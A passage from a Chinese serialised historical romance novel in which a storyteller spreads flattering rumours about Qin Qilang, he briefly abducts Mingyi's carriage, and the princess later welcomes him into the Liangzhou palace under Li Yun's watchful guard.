“我是想你们都好好的。”说着又看向李赟,“大郎你尤其要好好的。” 李赟抿抿唇:“母亲不用担心,我会照顾好自己。” 惠心公主叹了口气:“阿玉过世,受影响的也就我和三娘,但若是你有个三长两短,如今这局势,别说是河西,就是整个大宁只怕都不得安生。” 明宜默默看了眼李赟。 大约是已经习以为常,只见他勾了勾嘴角:“母亲多虑了,不管是河西还是大宁,若是没了我,也定还有其他人坐镇。” 惠心公主摇摇头:“若是往常也倒罢了,如今北狄这局势,你是万万不能出事。” 李赟“嗯”了一声:“我会保护好自己,也绝不会让北狄的铁蹄踏入大宁。” 惠心公主舒了口气:“嗯,母亲相信你的本事。” 然而这样的夸赞,显然并非李赟所愿。他没再说话,只是暗暗瞧了眼明宜,心中有些烦躁。 倒不是烦母亲的疏离,而是今日他要去大营,原本是想找借口,带上明宜,但眼下被周月夕抢了先,自己的打算自然落了空。 当然,以明宜的谨慎,只怕也不会答应跟自己走。 用过早膳,几人分头行动。 周子炤原本是跟着周月夕和明宜,但李赟想起早上母亲拉郎配的话,当即将人叫走,跟着自己去大营了。 上了马车,周月夕忍不住好奇问道:“三娘子,沙洲好玩么?我到凉州时,听说你们去了沙洲。我原本也想去的,但姑母说出了凉州不安全,不让我去,不然我早就去找你们了。” 明宜笑道:“要说好玩,哪里都有好玩的。不过凉州相对其他几州,确实更安全,毕竟阿兄在此坐镇。至于沙州,大漠风光倒是不错,但鱼龙混杂,是要小心些。” 周月夕问:“我昨晚听五兄说了你们一路遇到的危险,那真是吓人。我从前以为三娘子是只会琴棋书画的娇弱女子,没想到这么有胆识。” 明宜笑说:“人遇到危险时,难免会爆发出一点平日没有的勇气。” “这倒是。” 离开王府没多久,便到了城中大街,外面嘈杂声不绝于耳。 周月夕打开帘子:“听说最近德兴茶楼来了个很厉害的说书先生,上知天文下知地理,连宫廷密闱都一清二楚,我们去听听如何,看他到底是不是这么厉害?” 明宜点头:“我其实只在凉州城待了几日,对城中并不熟悉,公主安排就好。” “哎呀三娘,出门你唤我名字就好,可别暴露了身份。” “好的,月夕。” 长宁公主比她小了半岁,但在她眼中,却像孩子一样。 天真是好事,比旁人总要开心些。 两人到德兴茶楼时,已有不少喝茶听书的客人,那台上的说书人正准备开讲。 “快快快!”周月夕拉着明宜,随茶博士来到前面的一张座位。 与此同时,说书人的醒木已经敲响。 “列位看官,今日要说的这段奇闻,不是宫廷,也不是王府,乃是前阵沙洲发生的一桩奇闻!” 明宜一听,顿时心生好奇。 “话说北狄宫变,前太子心腹鲁刺儿被新大汗追杀,一路逃到沙洲,原本就要命丧追杀他的重甲兵之手,却不想遇到路过的西平侯夫人。那西平侯夫人弓马娴熟,几箭射退北狄兵,将鲁刺儿救走!” 明宜心下大惊。 怎么会说到自己? 而且说书人又是如何知道的? 只听客人们叫道:“那鲁刺儿乃是作恶多端的北狄贼子,那西平侯夫人怎会救他?” “客官莫急,且听我慢慢道来!你们可知道这鲁刺儿的真实身份?说出来,只怕会吓诸位一跳。他乃是秦飞扬秦将军幼子——秦七郎!” “什么?秦七郎!” 堂中客人听到这话,顿时炸开了锅。 长宁公主兴奋道:“三娘子,他说的是真的么?” 明宜不置可否,只低声道:“这里说这些不方便,待回府后,我再说给月夕你听。” “好吧。”周月夕又兴致勃勃看向说书人。 只听说书人继续道:“秦将军被害后,这位秦七郎被北狄拔延部族长所救。这拔延部有客官应听说过,与沙狄李氏的境遇差不多,常年受北狄王族压迫,鲁刺儿长在拔延部,便是想让拔延部与沙狄一样,最终逃离北狄,归附大宁。” 又有人高声问道:“既是如此,此前他为何总在河西滋事?” 说书人道:“秦七郎身为大宁人,要在北狄受重用,自然得立下大功才行。” “原来如此。看来这秦七郎,也是老凉王一样的人物!且身在北狄,忠心不改,卧薪尝胆这么多年!” 听到这里,明宜终于听出了不对劲,这说书人分明是在给秦破虏博美名。 她环顾了下四周,没看到什么异常,又抬头看向二楼。 果不其然! 那坐在栏杆边的一桌人,不是秦家姐弟和秦家军残兵,还能是谁? 见她看过来,秦破虏朝她挑挑眉,秦梦则喜笑颜开地朝她用力挥手。 明宜对秦梦笑了笑,然后冷冷瞪了眼秦破虏。 这小兔崽子的花花肠子,她是甘拜下风。 周月夕转头,顺着明宜的目光朝楼上看去,看到秦家几人,咦了一声:“三娘子,你认识他们?那个郎君还挺俊朗!” 明宜皮笑肉不笑道:“她就是秦七郎!” “啊?” 明宜又道:“这说书人说的都是假的,这秦七郎就是个混蛋玩意儿,你可别被骗了。” 周月夕也不傻,愣了下便反应过来道:“你是说这些是秦七郎让说书人说的。”说着,秦七郎瞧了眼,见对方一张脸似笑非笑,又赶紧收回目光,拉着明宜急急问道,“那到底怎么回事?” 明宜道:“要是公主想听,我回去与公主说。” 周月夕笑眯眯道:“好好好,有主人公亲自讲给我听,那定然比说书人的有意思。” 明宜倒不是真想回去跟长宁公主说这些,而是告诉李赟,秦七郎来了凉州。 不晓得是不是又要做什么妖!—— 作者有话说:秦七郎又来搞事了。 小凉王:心累~ 这篇文大概四月能完结,然后可能过阵子开一个新文,脑洞一点的感情流,隔壁的《怪物》,不长,用七形的爱找找感觉,之前一个预收,正好是幻想频道,就直接换了文案。 有兴趣的可以去收一下。 多少年没写BT男,练个手。【..top】 80-90 第81章 第 80 章 我们的本子我会亲自写 周月夕迫不及待拉着明宜回了马车。 “三娘子, 你快给我说说呗,到底怎么回事?你当真救了那鲁刺儿?” “算是吧。” 周月夕咦了一声:“那说书人没有乱讲啊?” “除了这一样,其他都是假的。” “他不是秦七郎?” 明宜:“……这个也是真的, 但此人狡猾多端, 并非说书人口中那般大义。他如今投靠大宁,与阿兄合作, 也是情势所逼。” “是吗?我看他生得挺俊俏。”说着坏笑道, “听说书人那样说,还以为三娘子你和他美人救英雄, 生出了一段奇缘呢!” 明宜气得就是这个, 怕就怕秦七郎故意编造一出自己和他的故事。 名声倒是其次, 主要是无中生有。 说书人的故事, 一传十十传百,只怕没多久, 全凉州都信以为真。 她没好气道:“我和他能有什么奇缘?我是倒了血霉才遇到他。” “那三娘子你救他, 是因为他是秦将军的儿子么?” 明宜点头:“嗯。” 周月夕撇撇嘴:“其实我听父亲提过,秦将军是冤枉的,只是事情过去多年, 秦将军虽是被人所害, 却也客观上造成几万秦家军覆灭。反正这世上已经没有秦家人, 这事也就不再提了。不过若是秦家军真有血脉留存于世,三娘子你救下他倒是没错。” “是啊,而且如今北狄大军南侵在即,有他和他的拔延部助阿兄一臂之力, 这场仗的胜算会大很多。” 周月夕睁大眼睛道:“真的要开战了么?” 明宜点点头:“没错。” 这几十年,北狄虽然偶尔来犯,但更多是滋事试探, 唯一一次大军南下,还是八年前李赟刚继承王位时。 那死去的大汗,行事相对保守,一直在休养生息。即使那次,也不过出动了五万大军。 但如今野心勃勃的小可汗上位,再来犯,定是举全军之力。 而生在太平长安的金枝玉叶,只怕体会不到形势的严峻。 果然,只见周月夕扬起下巴,不以为意道:“有阿兄在,他们定踏不进玉门关。” 明宜倒也不好灭小凉王威风,只道:“不管怎样,只要开战,便会血流成河。” 周月夕果然又蹙起眉头:“这倒也是。” 两人正说着,明宜忽然觉得不对劲,她转过头,掀起车窗往外看了眼,皱眉道:“不对,这不是回王府的路!” “啊?”周月夕一时没反应过来。 明宜迅速回过身,一把将门帘掀开。 果然,那赶车之人不是秦七郎还是能是谁? “秦破虏?你想做何?” 秦七郎回头瞧她一眼,笑道:“三娘子果然没让我失望,这么快就发现了不对?” 而周月夕看到窗外,也惊慌失措叫起来:“三娘子,护卫都不见了。”又朝外面的人吼道,“你这贼人意欲何为?” 白芷和周月夕的贴身婢女柳儿,双双挡在自家主子跟前。白芷更是长剑出鞘,朝秦七郎刺去。 只是秦七郎头也没回,便伸出双指将剑夹住,看似随意一折,那剑刃竟是断在他指间。 白芷大惊失色。 秦七郎马鞭一甩,高声道:“几位娘子坐好了。” 明宜清楚他不会对她们怎么样,也便没强行去阻拦他,毕竟车中有一位公主,不小心受伤就麻烦了。 她放下帘子,回头安抚在马车忽然颠簸中花容失色的周月夕:“殿下别怕,他不会伤害我们的。” 周月夕紧紧抓住身下坐凳,哆哆嗦嗦道:“你不是说这秦七郎狡猾多端么?” “所以才会这样。不过你不用担心,他已经归顺大宁,不会伤害我们的。” “那……他为何要绑我们?” 明宜轻咳一声:“他毕竟在北狄长大,做事风格难免野蛮。” 马车疾驰一路,终于听到秦七郎吁的一声,缓缓停下。 “几位娘子,下车吧。” 明宜率先下车,环顾了下四周,只得旁边一座清静院子。 秦七郎笑道:“放心,我虽然对三娘子心怀不轨,却也没蠢到北狄未灭,自寻死路。” 跟着明宜下来的周月夕,听到他这话,冷哼一声怒道:“不要脸!” 秦七郎不以为意地瞧她一眼,倒是没与她计较。 他领着几人进了大门。 只见院中几个男女在忙碌,旁边有孩子在玩乐,看着都是拔延部人的面孔。 见人进来,忙上来笑嘻嘻打招呼:“阿七,你回来了?” “阿卓,带这三位娘子去东边房里烤火。”秦七郎指了指明宜以外的三人道。 周月夕到底是有肆意妄为之名的公主,这会儿过了最初的害怕,立即挡在明宜面前:“你想对三娘子作何?” 秦七郎好笑道:“当然是说话。” “有什么话,是不能当着我们说的?” 秦七郎一脸莫名道:“我又不认识你们,为何要当着你们说。” 这下轮到周月夕哽住。 明宜拍拍她的手:“没事,你进屋去暖暖身子,他不敢对我怎样的。” 周月夕看了看她,又虚张声势地瞪了眼秦七郎,终于是不情不愿跟着人进屋。 秦七郎朝明宜挑挑眉:“来吧,三娘子。” 明宜随着他进了另一间屋:“秦七郎,你来凉州是要作何?” 秦七郎施施然转身看向她:“拔延部上百人在凉州谋生,如今拔延部出了这么大事,我自然要来凉州通知他们。” 难怪当初他在凉州来去自如,原来有这么多他的人。 看来当初自己随李赟西行再正确不过,不然只怕自己早被他掳去北狄,能不能活下来都是未知数。 秦七郎似是看出她所想:“这些人都是普通百姓,不是细作。当然……”说到这里,他顿了下,“毕竟是同族人,帮我点小忙还是义不容辞的。” 明宜不动声色看了看他:“那你把我绑来这里又是为何?” 秦七郎扯了下嘴角:“之前在沙洲,小凉王便放了话,让我阿姐传递消息,不让你与我直接接触。我来凉州想与三娘子见面,自然得在他收到消息之前。” 明宜面露无语之色:“你想见我,我就得见你?” 秦七郎笑说:“你是我未来王妃,提早熟悉是好事。” 明宜深吸一口气,克制住自己骂人的冲动:“我说过了,我不会嫁给你。” “那你要嫁给谁?小凉王?” “与你无关。” “那就是了。”秦七郎点点头,“不过没关系,等你我的奇缘美谈传遍大宁,我又立下大功,大宁皇上定会为我们赐婚。” 明宜怒极反笑:“你让说书人说那些给自己贴金的话,还胡编乱造我们的事,就是为这个?你未免也有些天真了!” “虽然可能用处不大,但聊胜于无,总要试一试的。” “行了,你绑我来就与我说这个?” 秦七郎一双长眸定定望着她,有些遗憾地叹息一声:“要是那日在黑松驿,成功将三娘子掳走,如今你早已是我的夫人,哪还有小凉王的事。” 明宜讥诮一笑:“与你做一对亡命鸳鸯么?” 秦七郎:“落魄只是暂时,我定会东山再起。” 明宜对他这句话倒是没怀疑,只想了想道:“行了,要是没别的话,就让人送我们回去吧,你吓到长宁公主了。” 秦七郎舒了口气:“行吧,能见到三娘子说上几句话,我已经心满意足。” 明宜虽然很想骂他几句,但为了早点脱身,还是决定不惹他为妙。 “你们这边有什么需求,可以去找王爷。” 秦七郎对她拱拱手:“我就知道三娘子是关心我的。” 明宜深吸一口气,皮笑肉不笑道:“毕竟北狄未灭,王爷还需要你。” 秦七郎听她故意提李赟,撇撇嘴,到底也没说什么。 “三娘子,他没对你怎样吧?” 周月夕一出来,便亟不可待地上前一把抓住明宜的手。 明宜笑:“没事,我们回去吧。” “嗯。”周月夕用力点头,转身前狠狠瞪了眼秦七郎。 * 果然是在凉州,明宜一行回到凉王府,收到消息的李赟,已从大营赶回来,直接在门口来迎接几人。 “表兄——”周月夕提着袍子蹭蹭踏上台阶,娇嗔道,“你都不知道那秦七郎多大胆,当街就把我们掳走,吓死我了!” 李赟点点头,打量她一眼:“你没事吧?” “那倒没有。” “那就好。”李赟敷衍地嗯了一声,越过她走向明宜,直接便要去握对方的手。 还是明宜反应快,将手负在身后,然后对他使了个眼色。 李赟轻咳一声,道:“月夕,你去找母亲吧,我有些关于秦七郎的事,要仔细问明宜。” 周月夕睁大眼睛问道:“我不能听吗?” 李赟好整以暇道:“是庶务上的事,只怕不方便。” “哦。”周月夕虽然胆大妄为,倒也并不胡搅蛮缠,点点头小跑着去找惠心公主诉苦。 “走吧。”李赟低声对明宜道。 虽然都是自己人,但母亲到底在府中,他也不好众目睽睽之下,做出逾越之举。 只是心中到底不爽,明明这是自己家,却什么都不能做。 于是待两人一进他的书房,他立刻将门关上,然后一把将明宜抱在怀中。 明宜被他这举动吓了一跳,无奈又有些好笑道:“你这是做甚?” 李赟冷哼了一声,并没将人放开:“这秦七郎真是阴魂不散,怎都追来凉州了?” 明宜道:“凉州有拔延部的人,他倒也不是为了我来的这里。” “他什么心思,我还不清楚?” 明宜:“我们能先坐下么?” 李赟这才不情不愿将人松开,拉着她在罗汉榻坐下。 原本两人隔着小几各坐一边,但李赟刚坐下,又站起身,与明宜挤在一处。 明宜哭笑不得:“小凉王,你是不是有些过分了?男女授受不亲,咱们多少要讲点规矩的。” “这里又没有旁人,要什么规矩?”李赟将人抱在怀中,目光落在对方那张唇上,嘴唇翕张了下,低声道,“再说了,更过分的事昨晚不是就做过么?” 话音落,他已经吻上来。 明宜先是躲了躲,但没能躲开,只能由着他去了。 及至感觉对方将自己抱得越来越紧,这才用力挣开,喘着气道:“好了,再下去要起火了。” 李赟不自在地轻咳一声,欲盖弥彰地整了整下袍。 “秦七郎让说书人造谣我和他的事,你看要怎么办?” 这事儿,李赟自然也已经听说,只见他沉下脸,不悦道:“我已经派人去茶城中所有茶楼酒肆,所有传这谣言的,先直接抓走。” 明宜睁大眼睛:“有必要这样么?” 小凉王的传闻在坊间这么多年,他也没管过,自己这点事却要大动干戈? “当然有必要!”李赟义正言辞道,“不然来日我求娶三娘,别人还以为我是横刀夺爱!” 明宜想了想,道:“不过秦七郎为自己造势倒是也无妨,日后他若当真立功,无论是为秦家翻案,还是他要封王,都有益处。” 李赟道:“这些另当别论,总之我决不允许你和他的传言满天飞。”但这事仿佛是给了他灵感一样,只听他话锋一转,“不过,待过阵子,我倒是可以安排一下你和我的故事,为以后光明正大求娶你造势。” “不要!”明宜脸一红,“我可不想被人编排!” “自然不是被人编排,我们的本子我会亲自写。” 明宜心情复杂地看向他,一时无语。 李赟握着她的手轻笑:“逗你的,我就是说说而已。” 两人正说着,外头传来荣伯的声音:“大郎君,公主让您和二夫人去她那里一趟。” 李赟撇撇嘴,回道:“嗯,知道了。” 明宜戳了戳他硬邦邦的面颊:“记住,在母亲面前嘴巴放甜一点,多说点她爱听的话。” 李赟不以为然:“我可不会说那些故意讨好人的话。” “我看你不是挺会么?”明宜道,“若是母亲对你改观,定然也更容易接受我们的事。” “行吧,我会尽力。” “小凉王当真想做,定是易如反掌。” 李赟瞥她一眼:“你倒是挺会说人爱听的话。”顿了下,又挑挑眉,补充一句,“以后对我多说点。” 明宜忍不住噗嗤笑出声。 谁能想到倨傲冷峻的小凉王,也有这样一面?—— 作者有话说:是四月份完结哈~ 第82章 第 81 章 故人之子 两人才刚走进长安苑, 听闻动静的惠心公主已经出门迎上来,满脸急切道:“大郎,你快把那秦七郎请到府里来, 我要见他。” 别说是明宜, 李赟也一头雾水:“母亲,你要见秦七郎作何?” 惠心公主激动道:“秦夫人入宫做我伴读近十年, 乃是我情同姐妹的手帕交。当年听到秦家军出事, 我写了信替秦家求情,但等你舅舅收到信, 秦家已满门抄斩。为这事, 我和你舅舅还生了几年罅隙。后来得知秦将军乃是被奸人陷害, 我更是悲痛欲绝。既然秦七郎还活着, 我定然要好好照顾他,他母亲泉下有知也好放心。” 明宜从不知道惠心公主和秦夫人还有这段渊源。 她看了眼李赟, 对方显然对此也毫不知情。 当然, 惠心公主的事,自己都不知道,他不知道也正常。 李赟沉声道:“母亲, 这个秦七郎狡猾多端, 让他来王府, 只怕不是很方便。” 惠心公主道:“当年秦夫人在北庭生下幼子,取名破虏,曾给我书信,那时我也正是临盆之际, 想着若是我生下的是千金,便将两家孩子定下亲事,不料我生下的是阿玉。后来她每年也都会与我写信, 信中常提起七郎,如何聪慧机敏。哪知这孩子命运多舛,虽然侥幸从大难中存活,却去了北狄。这些年想必过得十分艰难,若是不机智圆滑一些,只怕活不到现在。” 果然,这位惠心公主,除了自己长子,对任何人都心存善心,哪怕是一个没见过的故人之子。 李赟自是不想秦破虏来府中,那不是引狼入室么,他正要找借口回绝母亲。 不料身旁的明宜先开了口:“既是如此,阿兄你快叫人把秦七郎请来府中吧,也好让母亲安心。” 李赟蹙眉看向她,她默默对他使了个只有两人看得懂的眼色。 惠心公主显然很看重此事,若是他执意拒绝,惹得母亲不高兴是一回事,只怕长子不近人情的印象又要加深几分。 李赟虽不情愿,但到底还是妥协,拱拱手道:“母亲不用担心,我这就叫人将秦七郎请来府中。” 惠心公主闻言重重舒了口气,又想到什么似的,道:“他与你阿弟同岁,还是个孩子,若是从前做过什么错事,那也是身不由己,大郎你千万别怪他。”又对明宜道,“我知黑松驿是他所为,但他做这些也是事出有因,三娘你也别放在心上了。” 明宜讪讪一笑:“母亲不用担心,我没放在心上。” 侯府几十条人命,她看在秦将军的面上,不去报仇便已是宽宏大量,但如何可能毫无芥蒂? 惠心公主既然对旁人如此仁厚,为何对自己的儿子如此苛刻? 她实在是为李赟有些不平。 李赟与母亲行完礼,便踅身出了长安苑。 惠心公主显然没发觉儿子的不悦,神色都是对见到故人之子的期待。但明宜却知道,此刻的小凉王,定是满肚子怨气。 她寻了个借口:“母亲,我有些乏了,先回房休息一会儿,您有事再叫我。” 惠心公主笑眯眯点头:“好好好,你去休息吧。” 明宜出了长安苑,赶紧追上正阔步回书房的李赟:“阿兄——” 李赟回头看向她,神色沉沉,显然是对她方才不与他统一战线而有些不悦。 明宜走上前,笑问:“生气了?” 李赟冷哼一声:“你觉得呢?明知道我不想秦七郎上门,你不仅不帮我一起说服母亲,还站在她那边。” “母亲这般激动,你觉得是能说服的?”明宜笑道,顿了下,又舒了口气,“阿玉过世,母亲一直郁郁寡欢,得知故人之子还活着,对她来说是桩难得的喜事,我们何必让她不开心?” 李赟面色稍霁:“但这秦七郎对你不安好心,让他入府,不是引狼入室么?” 明宜失笑:“你是不信我呢?还是不信他?” 李赟轻咳一声:“当然是不信他。” “那你大可放心,这秦七郎虽然狡猾,但到底是秦将军之子,秦家家风想必你也有所耳闻。”说到这里,她看了看李赟,似是想到什么似的,试探问,“阿兄,你心中是不是对秦七郎掳走我一事心有芥蒂?你怀疑他对我做过什么?” “我……”李赟一时哑然。 明宜轻笑:“他将我掳走那么多天,你有此怀疑也在情理之中。但既然怀疑,为何不直接问?” 李赟道:“不管他做过什么,只要你好好活着,就已足够,其余的我不在乎。” 明宜噗嗤一笑:“不在乎那就不会这么排斥秦七郎登门了。” “那是因为他对你心怀不轨。”顿了下,又补充一句,“就跟陆浪一样,我希望他们都离你越远越好。” 明宜坏笑着点头:“原来小凉王只是单纯小心眼,爱吃醋。” “我……”李赟再次噎了下,但随即又大大方方承认,“没错,我就是小心眼。” 明宜看了下周围,难得没有下人,冷不丁凑到他身侧,主动在他唇上亲了一下:“阿兄不必小心眼,除了阿兄,他们谁我也不喜欢。” 李赟瞬时怔住,那张冷冰冰的脸,蓦地涌上一抹可疑的红色,他一把抓住明宜,就要将人往书房拉。 明宜道:“阿兄你松手,当心被人看到。” 李赟不情不愿将手松开,稍稍冷静下来,转头看向她:“既是如此,那秦七郎进了府中,你离他远点。” “你不说我也会,此人太狡猾,我可没那么多心思与他斗智斗勇。” 李赟似是想到什么似的,忽然勾出一笑:“他再狡猾,那也比不上我们宋三娘子足智多谋,毕竟他可是栽在你手中几次。” 明宜不置可否,只是轻描淡写道:“秦七郎虽然狡猾,但他本质还是个君子,那些日子,他连我的手都没碰过。” 李赟面露讥诮:“看着可真不像。” 明宜笑:“怎么?听到他没连我手都没碰过,阿兄好似很失望啊!” 李赟被她气笑了:“你现在是真不怕我了啊!”—— 作者有话说:其实没多少了,就是一点大战前的小日常而已。 第83章 第 82 章 我不只心急,身子也急 得知秦七郎即将要到王府, 惠心公主赶紧去了正厅等候。 李赟虽心中不愿,却也跟在母亲身边。 “公主,秦家小郎君到啦!” 荣伯笑呵呵进屋, 双手作揖道。 跟在他身后一身白色锦袍的青年, 不是秦破虏还能是谁。 这人一向不修边幅,虽然早就净了面, 露出了本来的少年人模样, 但像今日这样锦衣华服,却还是头一回。 乍一看, 还以为是从长安来的俏郎君。 不过他父母皆是长安大族, 确实是流着长安的血。 “草民秦破虏拜见公主殿下, 小凉王殿下和侯夫人。” 秦破虏跟着荣伯踏过门槛, 恭恭敬敬朝里面做了个作了三个揖。 惠心公主站起身,望着面前与故人有几分相似的年轻人, 顿时眼眶一红, 又见他不仅生得一表人才,举手投足也十分恭谦有礼,心中不免又有些欣慰。 她虚虚扶着秦破虏的手肘, 上下打量他一番, 哽咽道:“你与你父亲生得有七分像, 但眉眼又与你母亲一模一样。”说着又叹息一声,“他们在天之灵,见七郎这般,应该也会欣慰吧。” 秦破虏柔声道:“我幼时常听母亲提起公主, 说他做公主伴读时,深受公主照顾,一直感念在心, 却未曾有机会回报。如今七郎有幸得公主召见,希望有机会替母亲回报公主的恩情。” 说到这里,声音竟带了一丝哽咽。 明宜:“……” 又来了。 但显然,惠心公主很吃这套假把戏,她眼眶又红了几分:“哪是我对你母亲有恩,分明是你母亲对我多有照顾。罢了,我与你母亲的关系,何须说照顾和恩情。”说着,她抹了抹眼睛,“七郎你既然人已在凉州,我断然没有让你流落在外的道理。听说你还有姐姐和几个旧部,我让人给你收拾一座客院,你们先在王府住下。” 秦破虏赶紧又重重揖了一礼:“谢公主殿下隆恩。” 惠心公主笑了笑:“你母亲与我情同姐妹,你不用叫公主这么生分,唤我一声姨母便好。” 秦破虏从善如流:“多谢姨母。” 一旁的明宜和李赟,虽然生得没有半点相似,但此时的表情却出奇一致,皆是满脸的一言难尽。 还带着些憋屈。 明宜知道秦七郎素来擅长做戏,当初大马营的马奴阿七,就险些骗过了她。 眼下这一套更是炉火纯青,若不是明宜知道他是个什么玩意儿,只怕也会与惠心公主一样,被他蒙骗。 她不动声色瞧了眼李赟。 小凉王的脸色冷得跟冰块似的,双手紧紧攥拳,想来是在克制自己上前打人的冲动。 明宜知道他心里比自己更憋屈。 毕竟眼前对秦七郎和颜悦色满脸疼爱的女人,是对他一向疏淡的母亲。 她都有点同情小凉王了。 惠心公主和秦七郎寒暄完毕,终于想起身旁的儿子,她亲昵地拉着秦七郎,朝李赟道:“大郎,以后七郎就是你阿弟,不管你们从前有过何种嫌隙,从今往后都一笔勾销。” 李赟板着脸半晌不说话,就在惠心公主对儿子的冷漠心生失望时,秦七郎先开了口:“姨母,我与王爷从前都是误会,以后七郎一切听从阿兄吩咐!” 小凉王本来就不是好脾气,明宜怕他忍不住发怒,赶紧轻咳一声,伸手扶住惠心公主,不动声色挡在李赟面前,笑盈盈朝秦七郎道:“在阿兄眼中,七郎不过是个孩子,难免有淘气的时候,阿兄怎会与你一个孩子计较?” 她一口一个孩子,一来是打圆场阻止李赟当着惠心公主动怒,二来是秦七郎演了这一出给两人添堵,她也要还回去一点。 果然,秦七郎脸色微微一僵,但很快又恢复如常,拱手道:“既是如此,七郎便放心了。” 惠心公主自然没听出明宜话中带刺,在她眼中,秦七郎确实只是个孩子,她堆着一脸笑道:“好好好,都别干站着,我让厨房上菜,咱们边吃边说。” 又吩咐婢女去请那对皇家兄妹。 趁着惠心公主拉着秦七郎去旁边膳堂,明宜悄悄掐了一把李赟。 李赟转头看向她,冷峻的眉头微微蹙起。 明宜用口型道:“他故意的,你发火就是中了他的计。” 李赟扯了下嘴角,又想到什么似的,朝前面两人看去,眉头忽然挑了挑。 明宜忽然有种不妙的预感。 婢女们很快上来午膳,周子炤周月夕也说说笑笑入了席,只是看到秦七郎,脸上都有些不自在。 而擅长装模作样的秦七郎,则是恭恭敬敬拜见两人,哪有两人听说的那样可怕。 周子炤轻咳一声,凑到李赟耳畔,低声道:“这秦七郎倒是跟我想的有点不一样啊。” 他只见过乔装成马奴阿七的秦七郎,实在很难与面前这年轻郎君联系在一起。 李赟皮笑肉不笑地勾了下嘴角。 惠心公主拿起筷子,满脸和蔼地对秦七郎道:“来来来,七郎,别见外,咱们凉王府没那么多规矩,当做是自己家就好。” 秦七郎笑眯眯道:“多谢姨母。” 惠心公主越看他越觉得心生喜欢,见他面上大大方方,却明显有几分拘束,并不太敢去夹菜,于是亲自夹了两块炙羊肉,放在他碗中。 “你在北狄应该也吃羊肉多,看看我们王府做的合不合口味?” 秦七郎一脸受宠若惊:“姨母,我自己来就好。” 在他客气间,李赟也夹起一根羊蹄,放入他碗中:“七郎不用拘束,把这里当自己家就好。” 秦七郎弯唇笑道:“多谢阿兄!” 惠心公主望着这兄友弟恭的画面,面上不由自主浮上一抹欣慰之色。 要说她这冷漠无情的长子,从小到大何时最有人情味,那便是与阿玉相处时,他这个兄长,对阿弟从来有求必应,什么都让着阿玉。 眼下这一幕,让她想起多年前,兄弟二人相处的日子,也让她对长子多了一份亲近之情。 她笑眯眯道:“我还担心大郎你对七郎有芥蒂,看来是我多虑了。” 李赟轻笑道:“我若是对七郎有芥蒂,那便不会答应与他合作对抗北狄。如今他愿意来王府,也方便议事,我求之不得。” 惠心公主闻言,舒了口气,笑道:“那就好,那就好!” 李赟也笑,又一口气给秦七郎夹了好几样菜,直到他的碗里堆成了一座小山。 当然,这只是开始。 这一顿午膳,小凉王完美扮演了一个宽厚的好兄长,不停为初来乍到的秦七郎布菜。 秦七郎吃饱后想放下碗筷,却屡次被李赟以他是孩子还在长身体的由头,又让下人给他添饭。 惠心公主对此深以为然,每次都笑眯眯附和,秦七郎只能硬着头皮继续吃。 直到慢吞吞的明宜,也放下筷子,他才终于能放了碗。 当然,明宜故意吃得慢,就是为了给李赟打配合,让他多给秦七郎灌几碗饭。 “母亲,你回房休息吧,我安排人去给七郎收拾客院,再带他熟悉熟悉王府。” “好好好,大郎有心了。”惠心公主笑眯眯点头,神色十分欣慰,又对秦七郎道,“七郎,我才回凉州两个月,许多东西还未熟悉,你有什么需要的,告诉你阿兄便好,千万不要客气。” 秦七郎忍着腹胀,笑容可掬道:“多谢姨母,多谢阿兄!” 李赟直接伸手搭在他肩膀,暗暗用力拖着他往外走道:“走吧,七郎!” 惠心公主看着两人勾肩搭背的离开,欣然地叹息一声,又想到什么似的,笑眯眯对明宜道,“三娘,你说的没错,你阿兄确实不是那么不近人情。” “是啊,”明宜笑着点头,趁机道,“母亲若是多花些心思在他身上,就知道阿兄一向面冷心热。” 惠心公主叹息一声:“我是太忽视他了。” 与此同时,这厢的两人,在离开惠心公主的视线范围后,秦七郎猛地将李赟的手挣开,皮笑肉不笑道:“没想到小凉王也是做戏的好手。” 李赟扯了下嘴角:“我可不是做戏,既然母亲让我好好待你,我怎能辜负她?”说着一字一句阴恻恻道,“放心,你在王府一天,我便会好好招待你一天。” 秦七郎心中不由得生出一丝不安。 李赟给秦破虏单独安排了一间客院,秦梦和其余人另居一院。 这客院与明宜的芙蓉苑,隔了大半个王府,中间必然要经过小凉王的院子。 除此之外,李赟还给他安排了七八个丫鬟,十几个仆从,名为仆从,其实都是王府亲兵。 他但凡动一下,丫鬟和仆从,便立刻上前来殷勤伺候。 就连睡觉旁边都有婢女轮番待命。 别说是出王府,就是出他这方小院,仆从婢女都会乌泱泱跟着。 看着是贵客待遇,但分明是对他严加监视看管。 秦七郎拐弯抹角与惠心公主告过一状,说自己不习惯这么多人在身边伺候,让阿兄不用如此大张旗鼓。 惠心公主叫来李赟一问。 李赟却是振振有词道:“北狄一直在追杀秦七郎,只怕已有刺客入凉州,而他年少轻狂,由着他乱来,只怕会出事,我安排这么多人,是为了保护他。” 惠心公主一听,顿时大惊失色,赶紧让他再多派些人手。 于是秦七郎身边的十来个仆从,变成了二十多。 但凡出门,都是前呼后拥,将他“保护”得严严实实,别说是刺客,连只苍蝇都飞不进来。 更别提他想干点不愿让小凉王知道的事,那几乎绝无可能。 至于明宜,除了偶尔一起跟惠心公主用餐,能见上一面,其余时候根本就见不到她。 每每他想偷偷溜去芙蓉苑,刚出门不久,必定被“仆从”发现。 他毕竟是外男,若是觊觎王府二夫人的事,传到惠心公主耳中,对他的印象定会大大下降。 他只能作罢。 比起憋屈的秦七郎,李赟就自在多了,不仅母亲对他态度有所转变,还能每天晚上去明宜房中,与她耳鬓厮磨。 这日,李赟戌时刚过便偷偷来了明宜房中,眼下亥时快过,还没打算走。 “过两日,就没什么事要忙,我们去永安园小住几天,如今天冷,也不便出门,你在府中闷坏了吧。” 两人刚刚已经亲热了一番,此时李赟只将人抱在怀中,不再动手动嘴。 “我倒是还好,就是那秦七郎估计是憋坏了。”明宜笑道,嫣红的嘴唇,在烛火中娇艳欲滴。 李赟克制住再吻上去的冲动,道:“我不给他点手段瞧瞧,他当真以为我拿他没办法。” “不过他来了也不算坏事,母亲这几日明显对你有了改观。” 李赟扯了下嘴角,讥诮道:“自己的生母因为一个外人对我改观,不知是该哭还是笑。” 明宜戏谑道:“要不然你哭吧,我保证不笑你!” 李赟眯了眯眼睛:“你是不是想要我将你嘴巴继续堵住?” 明宜赶紧捂住唇:“别来了,明天该让人发现了。” 李赟失笑:“放心吧,我有分寸。”说着又叹息一声,有些郁闷道,“真恨不得现在就与你成亲。” 明宜笑:“倒也不用这么心急。” 李赟咕哝:“我不只心急,身子也急。” 明宜闻言耳根一热,从他腿上跳下来,推着他肩膀道:“你赶紧回去休息吧。”—— 